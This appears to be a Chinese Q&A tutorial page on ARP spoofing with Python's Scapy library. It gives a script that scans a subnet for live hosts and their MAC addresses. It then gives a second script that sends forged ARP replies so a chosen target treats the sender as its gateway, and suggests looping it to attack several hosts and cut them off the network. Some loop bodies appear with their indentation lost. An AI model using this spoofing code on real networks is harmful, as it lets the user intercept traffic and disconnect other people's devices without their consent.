利用python实现ARP欺骗 工作: 1.运用Scapy工具包,开发一款ARP扫描工具,扫描网段内所有的在线主机并显示其MAC地址。 2.通过ARP协议扫描网络中在线主机,并能够指定IP地址断掉网络。
时间: 2024-02-06 09:11:31 浏览: 173
Python利用scapy实现ARP欺骗的方法
实现ARP欺骗需要用到Scapy工具包,可以使用以下代码实现ARP扫描功能:
```python
from scapy.all import ARP, Ether, srp
target_ip = "192.168.1.1/24"
# create ARP request packet
arp = ARP(pdst=target_ip)
# create Ethernet frame
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
packet = ether/arp
# send packet and capture response
result = srp(packet, timeout=3, verbose=0)[0]
# parse response
devices = []
for sent, received in result:
devices.append({'ip': received.psrc, 'mac': received.hwsrc})
# print result
print("Available devices in the network:")
print("IP" + " "*18 + "MAC")
for device in devices:
print("{:16} {}".format(device['ip'], device['mac']))
```
这段代码将扫描指定网段内的所有在线主机,并显示它们的IP地址和MAC地址。
接下来,可以使用以下代码实现ARP欺骗攻击:
```python
from scapy.all import ARP, Ether, sendp
target_ip = "192.168.1.100"
target_mac = "00:11:22:33:44:55"
fake_ip = "192.168.1.1"
# create ARP packet
arp = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=fake_ip)
# create Ethernet frame
ether = Ether(dst=target_mac)
# combine packets
packet = ether/arp
# send packet
sendp(packet)
```
这段代码将向指定的IP地址发送伪造的ARP响应,欺骗目标主机认为我们的电脑是网关,从而实现ARP欺骗攻击。如果需要指定多个IP地址进行攻击,则可以使用循环语句来反复执行上述代码即可。
阅读全文